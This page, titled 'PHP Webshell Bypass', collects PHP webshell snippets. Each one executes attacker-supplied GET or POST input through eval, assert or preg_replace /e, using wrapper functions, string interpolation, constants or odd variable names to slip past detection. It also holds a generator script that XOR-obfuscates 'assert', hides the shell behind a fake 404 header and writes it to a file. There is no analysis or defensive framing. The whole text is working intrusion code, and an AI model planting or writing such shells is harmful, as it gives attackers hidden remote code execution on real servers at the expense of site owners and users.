PHP Webshell Bypass

1<?php
2function test($name){#
3    eval($name);
4}
5
6test($_GET['code']);
7?>

1<?php
2$a = $_POST['cmd'];
3$var = "phpnb {${eval($a)}}";

1<?php
2function a()
3{
4    return '' + @$_POST['a'];
5}
6
7eval(a());

1<?php
2sprintf("123");
3sprintf("123");
4sprintf("123");
5$a=$_GET['a'];
6define("Test", "$a",true);
7assert(TesT);
8?>

1<?php
2if($_GET['␄']){
3    $␄=$_GET['␄'];
4    @preg_replace("/abcde/e",$␄, "abcdefg");
5}
6?>

 1<?php
 2//code by Mr6
 3error_reporting(0);
 4	function randomkeys($length)   
 5{   
 6   $pattern = '`[email protected]#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';  
 7    for($i=0;$i<$length;$i++)   
 8    {   
 9        $key[$i]= $pattern{mt_rand(0,strlen($pattern)-1)};    //生成php随机数   
10    }   
11    return $key;   
12}   
13	function randname($length)   
14{   
15   $pattern = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';  
16    for($i=0;$i<$length;$i++)   
17    {   
18        @$key.= $pattern{mt_rand(0,strlen($pattern)-1)};    //生成php随机数   
19    }   
20    return $key;   
21} 
22	$str=randomkeys(6); 
23	$bname=randname(4);
24	$lname=strrev(strtolower($bname));
25	$str2="assert";
26			echo "<?php \n";
27			echo "header('HTTP/1.1 404');\n";
28			echo "class  ".$bname."{ public \$c='';\nfunction __destruct(){\n";
29	for ($i=0;$i<6;$i++)
30	{
31		$name="_".$i;
32		$str3[$i]=bin2hex($str[$i] ^$str2[$i]);
33		echo "$"."$name=";
34	echo "'".$str[$i]."'"."^"."\"\\x".$str3[$i]."\";\n";
35	}
36	$aa='$db=$_0.$_1.$_2.$_3.$_4.$_5;';
37	echo $aa;
38	echo "\n";
39	echo '@$db ("$this->c");}}';
40	echo "\n";
41	echo "\${$lname}=new {$bname}();\n";
42	echo "@\${$lname}->c=\$_POST['Mr6'];\n";
43	echo "?>\n";
44	@$file=$_GET['file'];
45	$html = ob_get_contents();
46	if (isset($file)){
47	if(file_put_contents($file,$html))
48	echo "\n\n\n".$file."   save success!";}
49	else {echo "Please input the file name like '?file=xxx.txt'";}
50	?>

1<?php
2function a(){
3	return $a=$_POST['1'];
4}
5@assert(a());
6?>

1<?php
2$value=$key = "a";
3foreach($_POST as $key=>$value){
4	assert($value);
5}